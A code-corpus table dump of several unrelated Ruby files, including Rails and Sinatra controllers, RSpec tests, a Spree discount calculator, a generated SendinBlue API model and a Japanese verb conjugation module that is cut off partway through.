hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
e82c7b55363281a12c6455980af5808e827cfc2b | 373 | # frozen_string_literal: true
require_relative 'jsonable'
module CfnDsl
# Handles property objects for Resources
#
# Usage
# Resource("aaa") {
# Property("propName", "propValue" )
# }
#
class PropertyDefinition < JSONable
include JSONSerialisableObject
attr_reader :value
def initialize(value)
@value = value
end
end
end
| 16.217391 | 42 | 0.66756 |
b9624ca6d6675365822b97d8199daa4d2891d00a | 720 | Rails.application.routes.draw do
mount GovukPublishingComponents::Engine, at: "/component-guide"
# For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
mount JasmineRails::Engine => "/specs" if defined?(JasmineRails)
get "/service-manual/search",
to: redirect { |_, request|
query = request.query_parameters.merge(filter_manual: "/service-manual").to_query
"/search?#{query}"
}
with_options format: false do |r|
r.get "healthcheck/live", to: proc { [200, {}, %w[OK]] }
r.get "healthcheck/ready", to: GovukHealthcheck.rack_response
r.get "*path" => "content_items#show", constraints: { path: %r{.*} }
end
end
| 37.894737 | 101 | 0.668056 |
2850f2b720ed2b484edbfef159e81729242f73eb | 2,837 | require 'spec_helper'
describe Scalastic::Config do
let(:config) {subject}
describe '.default' do
let(:config) {described_class.default}
it 'has correct partition_prefix' do
expect(config.partition_prefix).to eq 'scalastic'
end
it 'has correct partition_selector' do
expect(config.partition_selector).to eq 'scalastic_partition_id'
end
end
describe '#partition_prefix' do
it 'returns correct value' do
expect(config.partition_prefix).to eq 'scalastic'
end
it 'rejects nils' do
expect{config.partition_prefix = nil}.to raise_error(ArgumentError, 'Empty partition prefix')
end
it 'rejects empty strings' do
expect{config.partition_prefix = ''}.to raise_error(ArgumentError, 'Empty partition prefix')
end
it 'keeps the assigned value' do
value = SecureRandom.uuid
config.partition_prefix = value
expect(config.partition_prefix).to eq value
end
end
describe '#partition_selector' do
it 'returns correct value' do
expect(config.partition_selector).to eq 'scalastic_partition_id'
end
it 'rejects nils' do
expect{config.partition_selector = nil}.to raise_error(ArgumentError, 'Empty partition selector')
end
it 'rejects empty strings' do
expect{config.partition_selector = ''}.to raise_error(ArgumentError, 'Empty partition selector')
end
it 'keeps the assigned value' do
value = SecureRandom.uuid
config.partition_selector = value
expect(config.partition_selector).to eq value
end
end
describe '#index_endpoint' do
let(:id) {[1,2,3].sample}
it 'returns correct value' do
expect(config.index_endpoint(id)).to eq "scalastic_#{id}_index"
end
end
describe '#search_endpoint' do
let(:id) {[1,2,3].sample}
it 'returns correct value' do
expect(config.search_endpoint(id)).to eq "scalastic_#{id}_search"
end
end
describe '#get_partition_id' do
let(:id) {[1,2,3].sample}
context 'with search alias' do
let(:es_alias) {"scalastic_#{id}_search"}
it 'returns correct value' do
expect(config.get_partition_id(es_alias)).to eq id.to_s
end
end
context 'with index alias' do
let(:es_alias) {"scalastic_#{id}_index"}
it 'returns correct value' do
expect(config.get_partition_id(es_alias)).to eq id.to_s
end
end
context 'with incomplete alias' do
let(:es_alias) {["scalastic_#{id}_", "scalastic_#{id}"].sample}
it 'returns nil' do
expect(config.get_partition_id(es_alias)).to be_nil
end
end
context 'with incorrect alias' do
let(:es_alias) {["alias", "alias123", "123"].sample}
it 'returns nil' do
expect(config.get_partition_id(es_alias)).to be_nil
end
end
end
end
| 25.790909 | 103 | 0.672894 |
e296415aa1dfd15c3f80d1ff57898706ee0963bc | 943 | # frozen_string_literal: true
require 'spec_helper'
describe NodeFlowSerializer do
subject do
CSV.parse(
described_class.new(graph, 'MJ').as_csv,
headers: true
)
end
let(:scenario) { FactoryBot.create(:scenario) }
context 'with the energy graph' do
let(:graph) { scenario.gql.future.graph }
it 'has one row for each energy node' do
expect(subject.length).to eq(Atlas::EnergyNode.all.length)
end
it 'has a row for each energy node' do
expect(subject.first[0]).to eq(Atlas::EnergyNode.all.map(&:key).min.to_s)
end
end
context 'with the molecule graph' do
let(:graph) { scenario.gql.future.molecules }
it 'has one row for each molecule node' do
expect(subject.length).to eq(Atlas::MoleculeNode.all.length)
end
it 'has a row for each molecule node' do
expect(subject.first[0]).to eq(Atlas::MoleculeNode.all.map(&:key).min.to_s)
end
end
end
| 24.179487 | 81 | 0.673383 |
edfe539f8b1f98657832706e5c8ac3888fccb020 | 342 | class ApplicationController < ActionController::Base
protect_from_forgery
def authenticate_user!
redirect_to user_omniauth_authorize_path(:github, origin: request.fullpath) unless user_signed_in?
end
def after_sign_in_path_for(resource)
request.env['omniauth.origin'] || stored_location_for(resource) || root_path
end
end
| 28.5 | 102 | 0.80117 |
ff33e57107dc0d9955d0b81cb59dfee4a5db6877 | 1,092 | # require 'rack-flash'
require 'sinatra/flash'
class ApplicationController < Sinatra::Base
configure do
set :views, './app/views'
set :public_folder, './public'
set :method_override, true
set :session_secret, ENV["session_secret"]
enable :sessions
register Sinatra::Flash
end
get '/' do
if logged_in?
erb :index
else
redirect '/login'
end
end
helpers do
def logged_in?
!!session[:user_id]
end
def current_user
# TODO Ruby memoization
User.find(session[:user_id])
end
# called on some of the deeper routes in case someone who's not signed in
# goes to a url manually
def check_logged_in
if !logged_in?
flash[:type] = "error"
flash[:message] = ["You must be logged in to view that page"]
redirect '/login'
end
end
def check_owner(object)
if current_user != object.user
flash[:type] = "error"
flash[:message] = ["You must be signed in as the owner to view or edit it"]
redirect '/'
end
end
end
end
| 21 | 83 | 0.612637 |
e20fc4fc04e3a5a17d90bf1e5a5ab7d28284070d | 1,375 | module Spree
class Calculator::RelatedProductDiscount < Spree::Calculator
def self.description
I18n.t('spree.related_product_discount')
end
def compute(object)
if object.is_a?(Array)
return if object.empty?
order = object.first.order
else
order = object
end
return unless eligible?(order)
total = order.line_items.inject(0) do |sum, line_item|
relations = Spree::Relation.where(*discount_query(line_item))
discount_applies_to = relations.map { |rel| rel.related_to.variant }
order.line_items.each do |li|
next li unless discount_applies_to.include? li.variant
discount = relations.detect { |rel| rel.related_to.variant == li.variant }.discount_amount
sum += if li.quantity < line_item.quantity
(discount * li.quantity)
else
(discount * line_item.quantity)
end
end
sum
end
total
end
def eligible?(order)
order.line_items.any? do |line_item|
Spree::Relation.exists?(discount_query(line_item))
end
end
def discount_query(line_item)
[
'discount_amount <> 0.0 AND relatable_type = ? AND relatable_id = ?',
'Spree::Product',
line_item.variant.product.id
]
end
end
end
| 26.960784 | 100 | 0.605091 |
ac78859ca4eb56a3f558080cd11979097a5180c8 | 6,736 | =begin
#SendinBlue API
#SendinBlue provide a RESTFul API that can be used with any languages. With this API, you will be able to : - Manage your campaigns and get the statistics - Manage your contacts - Send transactional Emails and SMS - and much more... You can download our wrappers at https://github.com/orgs/sendinblue **Possible responses** | Code | Message | | :-------------: | ------------- | | 200 | OK. Successful Request | | 201 | OK. Successful Creation | | 202 | OK. Request accepted | | 204 | OK. Successful Update/Deletion | | 400 | Error. Bad Request | | 401 | Error. Authentication Needed | | 402 | Error. Not enough credit, plan upgrade needed | | 403 | Error. Permission denied | | 404 | Error. Object does not exist | | 405 | Error. Method not allowed | | 406 | Error. Not Acceptable |
OpenAPI spec version: 3.0.0
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.4.19
=end
require 'date'
module SibApiV3Sdk
# Percentage of a particular event for both versions
class AbTestVersionStats
# percentage of an event for version A
attr_accessor :version_a
# percentage of an event for version B
attr_accessor :version_b
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'version_a' => :'Version A',
:'version_b' => :'Version B'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'version_a' => :'String',
:'version_b' => :'String'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'Version A')
self.version_a = attributes[:'Version A']
end
if attributes.has_key?(:'Version B')
self.version_b = attributes[:'Version B']
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @version_a.nil?
invalid_properties.push('invalid value for "version_a", version_a cannot be nil.')
end
if @version_b.nil?
invalid_properties.push('invalid value for "version_b", version_b cannot be nil.')
end
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @version_a.nil?
return false if @version_b.nil?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
version_a == o.version_a &&
version_b == o.version_b
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[version_a, version_b].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = SibApiV3Sdk.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 32.541063 | 839 | 0.621734 |
0146870379e582218974f72d1d19b07292e4de05 | 310 | module SpreeFrenet
module_function
# Returns the version of the currently loaded SpreeFrenet as a
# <tt>Gem::Version</tt>.
def version
Gem::Version.new VERSION::STRING
end
module VERSION
MAJOR = 0
MINOR = 1
TINY = 2
STRING = [MAJOR, MINOR, TINY].compact.join('.')
end
end
| 17.222222 | 64 | 0.654839 |
eda1cfced89cb78b49898b3737d9453fd638f881 | 79 | class String
def to_d
blank? ? 0.0.to_d : BigDecimal.new(self)
end
end
| 13.166667 | 44 | 0.658228 |
87631d24cbaea7b27c68a95e00719c656caadf0f | 388 | class ComicsController < ApplicationController
before_action :set_comic, only:[:show]
def index
@comics = Comic.all
render json: {comics: @comics.as_json(include: :publisher)}
end
def show
if @comic
render json: {comic: @comic }
else
render json: {error: true}
end
end
private
def set_comic
@comic = Comic.find(params[:id])
end
end
| 16.869565 | 63 | 0.649485 |
7ad2297ca5af5e9aa0e4e98f77ce4f527a89d235 | 36 | module Rice
VERSION = "2.2.0"
end
| 9 | 19 | 0.638889 |
ab50bd95851e36c0da8ea92f3d3b70ade6567c49 | 499 | if RailsExceptionHandler.configuration.activate? && RailsExceptionHandler.configuration.email?
class RailsExceptionHandler::ErrorMailer < ApplicationMailer
# Subject can be set in your I18n file at config/locales/en.yml
# with the following lookup:
#
# en.error_mailer.send_error_mail_to_admin.subject
#
def send_error_mail_to_admin(info,email)
@info = JSON.parse(info)
mail(to: email, subject: 'An error occured on your application')
end
end
end
| 31.1875 | 94 | 0.729459 |
014c12b66b107ec5346284c65e806e088ce7f50a | 67,417 | module Japanese
module Conjugator
# List with complete list of exceptions for
# consonant verbs that end in -eru -iru at: https://en.wikipedia.org/wiki/Japanese_consonant_and_vowel_verbs#List_of_consonant_stem_verbs_ending_in_iru
POLITE_VERB_ENDINGS = {present: "ます",
past: "ました",
present_negative: "ません",
past_negative: "ませんでした",
volitional: "ましょう",
te_form: "まして",}
NEGATIVE_VERB_ENDINGS = {present: "ない",
past: "なかった",
te_form: "なくて",}
CONTINUOUS_ENDINGS = {present_spoken: "る",
present_written: "いる",
present_polite: "います",
present_polite_spoken: "ます",
past_spoken: "た",
past_written: "いた",
past_polite: "いました",
past_polite_spoken: "ました",
te_form_spoken: "て",
te_form_written: "いて",
te_form_polite: "いまして",
te_form_polite_spoken: "まして",
negative_te_form_spoken: "なくて",
negative_te_form_written: "いなくて",}
ROMAJI_POLITE_VERB_ENDINGS = {present: "masu",
past: "mashita",
present_negative: "masen",
past_negative: "masen deshita",
volitional: "masho",
te_form: "mashite",}
ROMAJI_NEGATIVE_VERB_ENDINGS = {present: "nai",
past: "nakatta",
te_form: "nakute",}
ROMAJI_CONTINUOUS_ENDINGS = {present_spoken: "ru",
present_written: " iru",
present_polite: " imasu",
present_polite_spoken: "masu",
past_spoken: "ta",
past_written: " ita",
past_polite: " imashita",
past_polite_spoken: "mashita",
te_form_spoken: "te",
te_form_written: " ite",
te_form_polite: " imashite",
te_form_polite_spoken: "mashite",
negative_te_form_spoken: "nakute",
negative_te_form_written: " inakute",}
VERB_CLASSES = %w[v1 v5b v5g v5k v5k-s v5m v5n v5r v5r-i v5s v5t v5u v5u-s v-aru v-kuru v-suru]
def process_verb
if Japanese::Conjugator::VERB_CLASSES.include?(part_of_speech)
unless ambiguous? # <= Method from JapaneseVerbIdentifier module
set_verb_stem_form
set_negative_stem
set_base
set_te_form
set_ta_form
set_polite_form_conjugations
set_negative_plain_forms
set_continuous_forms
set_prohibitive_form
set_plain_present_potential
set_conditional
set_imperative
set_volitional
set_passive_dictionary_form
set_passive_forms_hash
set_causative_dictionary_form
set_causative_forms_hash
set_causative_passive_dictionary_form
set_causative_passive_forms_hash
end
end
# self.save => Keep this commented out for now to experiment around in the console.
end
# Makes up for the fact that v5u verb endings are represented by one Roman letter as opposed to the
# verb endings of every other class, which are represented by two Roman letters.
def romaji_conditional_slice(string)
if part_of_speech == "v5u" || part_of_speech == "v5u-s"
string.slice!(-1)
else
string.slice!(-2..-1)
end
end
def set_verb_stem_form
stem = kanji.dup
hiragana_stem = hiragana.dup
romaji_stem = romaji.dup
stem.slice!(-1)
hiragana_stem.slice!(-1)
romaji_conditional_slice(romaji_stem)
# Fill in the logic to figure out what stem ending to add
case part_of_speech
when "v1"
stem
when "v5b"
stem += "び"
hiragana_stem += "び"
romaji_stem += "bi"
when "v5k"
stem += "き"
hiragana_stem += "き"
romaji_stem += "ki"
when "v5k-s"
stem += "き"
hiragana_stem += "き"
romaji_stem += "ki"
when "v5g"
stem += "ぎ"
hiragana_stem += "ぎ"
romaji_stem += "gi"
when "v5m"
stem += "み"
hiragana_stem += "み"
romaji_stem += "mi"
when "v5n"
stem += "に"
hiragana_stem += "に"
romaji_stem += "ni"
when "v5r"
stem += "り"
hiragana_stem += "り"
romaji_stem += "ri"
when "v5r-i"
stem # Assuming this class is for いらっしゃる => いらっしゃ would be the stem
when "v5s"
stem += "し"
hiragana_stem += "し"
romaji_stem += "shi"
when "v5t"
stem += "ち"
hiragana_stem += "ち"
romaji_stem += "chi"
when "v5u"
stem += "い"
hiragana_stem += "い"
romaji_stem += "i"
when "v5u-s"
stem += "い" # Assuming this class is for the irregular 問う => 問い would be the stem
hiragana_stem += "い"
romaji_stem += "i"
when "v-kuru"
stem # Assuming that you enter this in kanji; this will not work in hiragana.
when "v-suru"
stem = "し"
hiragana_stem = "し"
romaji_stem = "shi"
when "v-aru"
stem += "り"
hiragana_stem += "り"
romaji_stem += "ri"
end
self.stem_form = stem
hiragana_forms[:stem] = hiragana_stem
romaji_forms[:stem] = romaji_stem
# kanji.save! => Comment this out now for experimental purposes
end
def set_negative_stem
stem = kanji.dup
hiragana_stem = hiragana.dup
romaji_stem = romaji.dup
stem.slice!(-1)
hiragana_stem.slice!(-1)
romaji_conditional_slice(romaji_stem)
case part_of_speech
when "v1"
stem
when "v5b"
stem += "ば"
hiragana_stem += "ば"
romaji_stem += "ba"
when "v5k"
stem += "か"
hiragana_stem += "か"
romaji_stem += "ka"
when "v5k-s"
stem += "か"
hiragana_stem += "か"
romaji_stem += "ka"
when "v5g"
stem += "が"
hiragana_stem += "が"
romaji_stem += "ga"
when "v5m"
stem += "ま"
hiragana_stem += "ま"
romaji_stem += "ma"
when "v5n"
stem += "な"
hiragana_stem += "な"
romaji_stem += "na"
when "v5r"
stem += "ら"
hiragana_stem += "ら"
romaji_stem += "ra"
when "v5r-i"
stem += "ら" # Assuming this class is for いらっしゃる, いらっしゃら would be the stem
hiragana_stem += "ら"
romaji_stem += "ra"
when "v5s"
stem += "さ"
hiragana_stem += "さ"
romaji_stem += "sa"
when "v5t"
stem += "た"
hiragana_stem += "た"
romaji_stem += "ta"
when "v5u"
stem += "わ"
hiragana_stem += "わ"
romaji_stem += "wa"
when "v5u-s"
stem += "わ" # Assuming this class is for the irregular 問う, 問い would be the stem
hiragana_stem += "わ"
romaji_stem += "wa"
when "v-kuru"
hiragana_stem = "こ"
romaji_stem = "ko"
when "v-suru"
stem = "し"
hiragana_stem = "し"
romaji_stem = "shi"
when "v-aru"
stem = ""
hiragana_stem = ""
romaji_stem = ""
end
self.negative_stem = stem
hiragana_forms[:negative_stem] = hiragana_stem
romaji_forms[:negative_stem] = romaji_stem
end
def set_base
kanji = self.kanji.dup
hiragana_word = hiragana.dup
romaji_base = romaji.dup
kanji.slice!(-1)
hiragana_word.slice!(-1)
romaji_conditional_slice(romaji_base)
self.base = kanji
hiragana_forms[:base] = hiragana_word
romaji_forms[:base] = romaji_base
end
def set_polite_form_conjugations
polite = Japanese::Conjugator::POLITE_VERB_ENDINGS.values
romaji_polite = Japanese::Conjugator::ROMAJI_POLITE_VERB_ENDINGS.values
stem = stem_form
hiragana_stem = hiragana_forms[:stem]
romaji_stem = romaji_forms[:stem]
conjugations[:polite_forms] = {present: stem + polite[0],
past: stem + polite[1],
present_negative: stem + polite[2],
past_negative: stem + polite[3],
volitional: stem + polite[4],
te_form: stem + polite[5],}
hiragana_forms[:polite_forms] = {present: hiragana_stem + polite[0],
past: hiragana_stem + polite[1],
present_negative: hiragana_stem + polite[2],
past_negative: hiragana_stem + polite[3],
volitional: hiragana_stem + polite[4],
te_form: hiragana_stem + polite[5],}
romaji_forms[:polite_forms] = {past: romaji_stem + romaji_polite[1],
present: romaji_stem + romaji_polite[0],
present_negative: romaji_stem + romaji_polite[2],
past_negative: romaji_stem + romaji_polite[3],
volitional: romaji_stem + romaji_polite[4],
te_form: romaji_stem + romaji_polite[5],}
unless has_volitional
conjugations[:polite_forms][:volitional] = "N/A"
hiragana_forms[:polite_forms][:volitional] = "N/A"
romaji_forms[:polite_forms][:volitional] = "N/A"
end
end
def set_negative_plain_forms
endings = Japanese::Conjugator::NEGATIVE_VERB_ENDINGS.values
romaji_endings = Japanese::Conjugator::ROMAJI_NEGATIVE_VERB_ENDINGS.values
stem = negative_stem
hiragana_stem = hiragana_forms[:negative_stem]
romaji_stem = romaji_forms[:negative_stem]
conjugations[:negative_plain_forms] = {present: stem + endings[0],
past: stem + endings[1],
te_form: stem + endings[2],}
hiragana_forms[:negative_plain_forms] = {present: hiragana_stem + endings[0],
past: hiragana_stem + endings[1],
te_form: hiragana_stem + endings[2],}
romaji_forms[:negative_plain_forms] = {present: romaji_stem + romaji_endings[0],
past: romaji_stem + romaji_endings[1],
te_form: romaji_stem + romaji_endings[2],}
end
def set_prohibitive_form
if part_of_speech == "v-aru" || part_of_speech == "v5r-i"
conjugations[:prohibitive] = "N/A"
hiragana_forms[:prohibitive] = "N/A"
romaji_forms[:prohibitive] = "N/A"
else
conjugations[:prohibitive] = kanji + "な"
hiragana_forms[:prohibitive] = hiragana + "な"
romaji_forms[:prohibitive] = romaji + " na"
end
end
def set_plain_present_potential
stem = base.dup
hiragana_stem = hiragana_forms[:base].dup
romaji_stem = romaji_forms[:base].dup
case part_of_speech
when "v1"
stem += "(ら)れ���"
hiragana_stem += "(ら)れる"
romaji_stem += "(ra)reru"
when "v5b"
stem += "べる"
hiragana_stem += "べる"
romaji_stem += "beru"
when "v5k"
stem += "ける"
hiragana_stem += "ける"
romaji_stem += "keru"
when "v5k-s"
stem += "ける"
hiragana_stem += "ける"
romaji_stem += "keru"
when "v5g"
stem += "げる"
hiragana_stem += "げる"
romaji_stem += "geru"
when "v5m"
stem += "める"
hiragana_stem += "める"
romaji_stem += "meru"
when "v5n"
stem += "ねる"
hiragana_stem += "ねる"
romaji_stem += "neru"
when "v5r"
stem += "れる"
hiragana_stem += "れる"
romaji_stem += "reru"
when "v5r-i"
stem = "N/A"
hiragana_stem = "N/A"
romaji_stem = "N/A"
when "v5s"
stem += "せる"
hiragana_stem += "せる"
romaji_stem += "seru"
when "v5t"
stem += "てる"
hiragana_stem += "てる"
romaji_stem += "teru"
when "v5u"
stem += "える"
hiragana_stem += "える"
romaji_stem += "eru"
when "v5u-s"
stem += "える" # Assuming this class is for the irregular 問う, 問い would be the stem
hiragana_stem += "える"
romaji_stem += "eru"
when "v-kuru"
stem += "れる" # Assuming that you enter "来る" in kanji; this will not work in hiragana.
hiragana_stem = "これる"
romaji_stem = "koreru"
when "v-suru"
stem = "できる"
hiragana_stem = "できる"
romaji_stem = "dekiru"
when "v-aru"
stem = "N/A"
hiragana_stem = "N/A"
romaji_stem = "N/A"
end
conjugations[:plain_present_potential] = stem
hiragana_forms[:plain_present_potential] = hiragana_stem
romaji_forms[:plain_present_potential] = romaji_stem
end
def set_conditional
stem = base.dup
hiragana_stem = hiragana_forms[:base].dup
romaji_stem = romaji_forms[:base].dup
case part_of_speech
when "v1"
stem += "れば"
hiragana_stem += "れば"
romaji_stem += "reba"
when "v5b"
stem += "べば"
hiragana_stem += "べば"
romaji_stem += "beba"
when "v5k"
stem += "けば"
hiragana_stem += "けば"
romaji_stem += "keba"
when "v5k-s"
stem += "けば"
hiragana_stem += "けば"
romaji_stem += "keba"
when "v5g"
stem += "げば"
hiragana_stem += "げば"
romaji_stem += "geba"
when "v5m"
stem += "めば"
hiragana_stem += "めば"
romaji_stem += "meba"
when "v5n"
stem += "ねば"
hiragana_stem += "ねば"
romaji_stem += "neba"
when "v5r"
stem += "れば"
hiragana_stem += "れば"
romaji_stem += "reba"
when "v5r-i"
stem += "れば" # Assuming this class is for いらっしゃる, いらっしゃら would be the stem
hiragana_stem += "れば"
romaji_stem += "reba"
when "v5s"
stem += "せば"
hiragana_stem += "せば"
romaji_stem += "seba"
when "v5t"
stem += "てば"
hiragana_stem += "てば"
romaji_stem += "teba"
when "v5u"
stem += "えば"
hiragana_stem += "えば"
romaji_stem += "eba"
when "v5u-s"
stem += "えば" # Assuming this class is for the irregular 問う, 問い would be the stem
hiragana_stem += "えば"
romaji_stem += "eba"
when "v-kuru"
stem += "れば" # Assuming that you enter "来る" in kanji; this will not work in hiragana.
hiragana_stem = "これば"
romaji_stem = "koreba"
when "v-suru"
stem += "れば"
hiragana_stem += "れば"
romaji_stem += "reba"
when "v-aru"
stem += "れば"
hiragana_stem += "れば"
romaji_stem += "reba"
end
conjugations[:conditional] = stem
hiragana_forms[:conditional] = hiragana_stem
romaji_forms[:conditional] = romaji_stem
end
def set_te_form
base = self.base.dup
hiragana_base = hiragana_forms[:base].dup
romaji_base = romaji_forms[:base].dup
case part_of_speech
when "v1"
base += "て"
hiragana_base += "て"
romaji_base += "te"
when "v5b"
base += "んで"
hiragana_base += "んで"
romaji_base += "nde"
when "v5k"
base += "いて"
hiragana_base += "いて"
romaji_base += "ite"
when "v5k-s"
base += "って"
hiragana_base += "って"
romaji_base += "tte"
when "v5g"
base += "いで"
hiragana_base += "いで"
romaji_base += "ide"
when "v5m"
base += "んで"
hiragana_base += "んで"
romaji_base += "nde"
when "v5n"
base += "んで"
hiragana_base += "んで"
romaji_base += "nde"
when "v5r"
base += "って"
hiragana_base += "って"
romaji_base += "tte"
when "v5r-i"
base += "って" # Assuming this class is for いらっしゃる, いらっしゃって would be the te_form
hiragana_base += "って"
romaji_base += "tte"
when "v5s"
base += "して"
hiragana_base += "して"
romaji_base += "shite"
when "v5t"
base += "って"
hiragana_base += "って"
romaji_base += "tte"
when "v5u"
base += "って"
hiragana_base += "って"
romaji_base += "tte"
when "v5u-s"
base += "うて" # Assuming this class is for the irregular 問う, 問うて would be the stem
hiragana_base += "うて"
romaji_base += "ute"
when "v-kuru"
base += "て"
hiragana_base += "て"
romaji_base += "te"
when "v-suru"
base = "して"
hiragana_base = "して"
romaji_base = "shite"
when "v-aru"
base += "って"
hiragana_base += "って"
romaji_base += "tte"
end
conjugations[:te_form] = base
hiragana_forms[:te_form] = hiragana_base
romaji_forms[:te_form] = romaji_base
end
def set_ta_form
base = self.base.dup
hiragana_base = hiragana_forms[:base].dup
romaji_base = romaji_forms[:base].dup
case part_of_speech
when "v1"
base += "た"
hiragana_base += "た"
romaji_base += "ta"
when "v5b"
base += "んだ"
hiragana_base += "んだ"
romaji_base += "nda"
when "v5k"
base += "いた"
hiragana_base += "いた"
romaji_base += "ita"
when "v5k-s"
base += "った"
hiragana_base += "った"
romaji_base += "tta"
when "v5g"
base += "いだ"
hiragana_base += "いだ"
romaji_base += "ida"
when "v5m"
base += "んだ"
hiragana_base += "んだ"
romaji_base += "nda"
when "v5n"
base += "んだ"
hiragana_base += "んだ"
romaji_base += "nda"
when "v5r"
base += "った"
hiragana_base += "った"
romaji_base += "tta"
when "v5r-i"
base += "った" # Assuming this class is for いらっしゃる, いらっしゃった would be the te_form
hiragana_base += "った"
romaji_base += "tta"
when "v5s"
base += "した"
hiragana_base += "した"
romaji_base += "shita"
when "v5t"
base += "った"
hiragana_base += "った"
romaji_base += "tta"
when "v5u"
base += "った"
hiragana_base += "った"
romaji_base += "tta"
when "v5u-s"
base += "うた" # Assuming this class is for the irregular 問う, 問うた would be the stem
hiragana_base += "うた"
romaji_base += "uta"
when "v-kuru"
base += "た"
hiragana_base += "た"
romaji_base += "ta"
when "v-suru"
base = "した"
hiragana_base = "した"
romaji_base = "shita"
when "v-aru"
base += "った"
hiragana_base += "った"
romaji_base += "tta"
end
conjugations[:ta_form] = base
hiragana_forms[:ta_form] = hiragana_base
romaji_forms[:ta_form] = romaji_base
end
def set_imperative
if has_imperative
base = self.base.dup
hiragana_base = hiragana_forms[:base].dup
romaji_base = romaji_forms[:base].dup
case part_of_speech
when "v1"
base += "ろ"
hiragana_base += "ろ"
romaji_base += "ro"
when "v5b"
base += "べ"
hiragana_base += "べ"
romaji_base += "be"
when "v5k"
base += "け"
hiragana_base += "け"
romaji_base += "ke"
when "v5k-s"
base += "け"
hiragana_base += "け"
romaji_base += "ke"
when "v5g"
base += "げ"
hiragana_base += "げ"
romaji_base += "ge"
when "v5m"
base += "め"
hiragana_base += "め"
romaji_base += "me"
when "v5n"
base += "ね"
hiragana_base += "ね"
romaji_base += "ne"
when "v5r"
base += "れ"
hiragana_base += "れ"
romaji_base += "re"
when "v5r-i"
base = "N/A"
hiragana_base = "N/A"
romaji_base = "N/A"
when "v5s"
base += "せ"
hiragana_base += "せ"
romaji_base += "se"
when "v5t"
base += "て"
hiragana_base += "て"
romaji_base += "te"
when "v5u"
base += "え"
hiragana_base += "え"
romaji_base += "e"
when "v5u-s"
base = "N/A"
hiragana_base = "N/A"
romaji_base = "N/A"
when "v-kuru"
base += "い"
hiragana_base = "こい"
romaji_base = "koi"
when "v-suru"
base = "しろ"
hiragana_base = "しろ"
romaji_base = "shiro"
when "v-aru"
base += "れ"
hiragana_base += "れ"
romaji_base += "re"
end
conjugations[:imperative] = base
hiragana_forms[:imperative] = hiragana_base
romaji_forms[:imperative] = romaji_base
end
end
def set_volitional
if has_volitional
base = self.base.dup
hiragana_base = hiragana_forms[:base].dup
romaji_base = romaji_forms[:base].dup
case part_of_speech
when "v1"
base += "よう"
hiragana_base += "よう"
romaji_base += "yo"
when "v5b"
base += "ぼう"
hiragana_base += "ぼう"
romaji_base += "bo"
when "v5k"
base += "こう"
hiragana_base += "こう"
romaji_base += "ko"
when "v5k-s"
base += "こう"
hiragana_base += "こう"
romaji_base += "ko"
when "v5g"
base += "ごう"
hiragana_base += "ごう"
romaji_base += "go"
when "v5m"
base += "もう"
hiragana_base += "もう"
romaji_base += "mo"
when "v5n"
base += "のう"
hiragana_base += "のう"
romaji_base += "no"
when "v5r"
base += "ろう"
hiragana_base += "ろう"
romaji_base += "ro"
when "v5r-i"
base = "N/A"
hiragana_base = "N/A"
romaji_base = "N/A"
when "v5s"
base += "そう"
hiragana_base += "そう"
romaji_base += "so"
when "v5t"
base += "とう"
